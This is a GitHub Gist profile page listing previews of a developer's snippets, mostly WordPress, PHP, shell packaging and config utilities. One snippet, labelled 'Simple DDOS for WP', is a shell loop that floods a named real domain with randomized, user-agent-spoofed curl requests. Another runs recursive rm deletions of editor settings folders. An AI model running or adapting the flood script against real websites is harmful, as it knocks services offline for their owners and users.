Skip to content

Instantly share code, notes, and snippets.

View fedek6's full-sized avatar
🎯
Focusing

Konrad Fedorczyk fedek6

🎯
Focusing
View GitHub Profile
@fedek6
fedek6 / export_tags.sql
Created May 14, 2021 17:32
Export WP tags
SELECT wp_terms.`term_id` AS TagID, wp_terms.`name` AS TagName, SUM( tax.`count` ) AS TagPostCount
FROM `wp_terms`
INNER JOIN wp_term_taxonomy tax ON tax.term_id = wp_terms.term_id
GROUP BY wp_terms.`term_id`;
@fedek6
fedek6 / killspamer.sh
Created May 6, 2021 08:27
Simple DDOS for WP
#!/bin/bash
while :
do
echo "Press [CTRL+C] to stop..."
URL=$(cat /dev/urandom | env LC_CTYPE=C tr -dc a-zA-Z0-9 | head -c 16; echo)
for i in {1..100}
do
curl https://goldenliine.pl/?s=$URL --max-time 2 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" &> /dev/null &
curl https://goldenliine.pl/movies/$URL --max-time 2 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" &> /dev/null &
@fedek6
fedek6 / clean-vsc.sh
Created April 8, 2021 08:29
Clean Visual Studio Code settings (macOS)
#!/bin/sh
rm -rfv "$HOME/.vscode"
rm -rfv "$HOME/Library/Application Support/Code"
rm -rfv "$HOME/Library/Caches/com.microsoft.VSCode"
rm -rfv "$HOME/Library/Saved Application State/com.microsoft.VSCode.savedState"
# Thanks goes to offby1 from stackoverflow!
@fedek6
fedek6 / synergy.conf
Created March 9, 2021 08:49
Synergy config for Linux -> macOS hosting (fix for altgr error)
section: screens
Fabryka:
halfDuplexCapsLock = false
halfDuplexNumLock = false
halfDuplexScrollLock = false
xtestIsXineramaUnaware = false
switchCorners = none
switchCornerSize = 0
Konrads-MacBook-Pro.local:
halfDuplexCapsLock = false
@fedek6
fedek6 / opcache-preload.php
Created October 30, 2020 09:18
Working WordPress opcache preloading config
<?php
/**
* WordPress opcache preloading.
* Requires PHP >= 7.4.
*
* @author Konrad Fedorczyk <contact@realhe.ro>
* @link https://stitcher.io/blog/preloading-in-php-74
*
* @version 1.0.0
*/
@fedek6
fedek6 / between_dates.php
Created July 22, 2019 07:32
Do something between exact two dates in PHP
<?php
$showDate = "2019-07-16 20:00:00.0";
$hideDate = "2019-07-22 20:00:00.0";
$timezone = new DateTimeZone('Europe/Warsaw');
$now = new DateTime();
$now->setTimezone($timezone);
// If in timeframe
if( $now > new DateTime($showDate, $timezone) && $now < new DateTime($hideDate, $timezone) ) {
do_something();
@fedek6
fedek6 / zippacker.sh
Created June 24, 2019 18:51
Packer for web projects. It will pack public dir in current path. Archive name will include info from package.json.
#!/bin/sh
# Extract JSON value
parse_json () {
echo $1 | \
sed -e 's/[{}]/''/g' | \
sed -e 's/", "/'\",\"'/g' | \
sed -e 's/" ,"/'\",\"'/g' | \
sed -e 's/" , "/'\",\"'/g' | \
sed -e 's/","/'\"---SEPERATOR---\"'/g' | \
@fedek6
fedek6 / page-test.php
Created June 7, 2019 08:25
szablon testowy WP
<?php
/*
* Template Name: Szablon testowy
*/
// taka prościzna do mierzenia czasu wykonania
function timeTook($start, $task = '') {
$execution_time = round( (microtime(true) - $start), 2);
return '<h4>Zadanie: <em>' . $task . '</em> zajęło: ' . $execution_time . ' sekund(y)</h4>';
}
@fedek6
fedek6 / selfpacker.sh
Created December 21, 2018 21:16
Packager for web projects on nix systems.
#!/bin/sh
# Extract JSON value
parse_json () {
echo $1 | \
sed -e 's/[{}]/''/g' | \
sed -e 's/", "/'\",\"'/g' | \
sed -e 's/" ,"/'\",\"'/g' | \
sed -e 's/" , "/'\",\"'/g' | \
sed -e 's/","/'\"---SEPERATOR---\"'/g' | \
@fedek6
fedek6 / Controller.php
Created December 3, 2018 12:39
Prepend application name to site title in Yii2
<?php
/**
* Extension of base controller.
* Add additional controller functions and vars here.
*/
namespace app\components;
use Yii;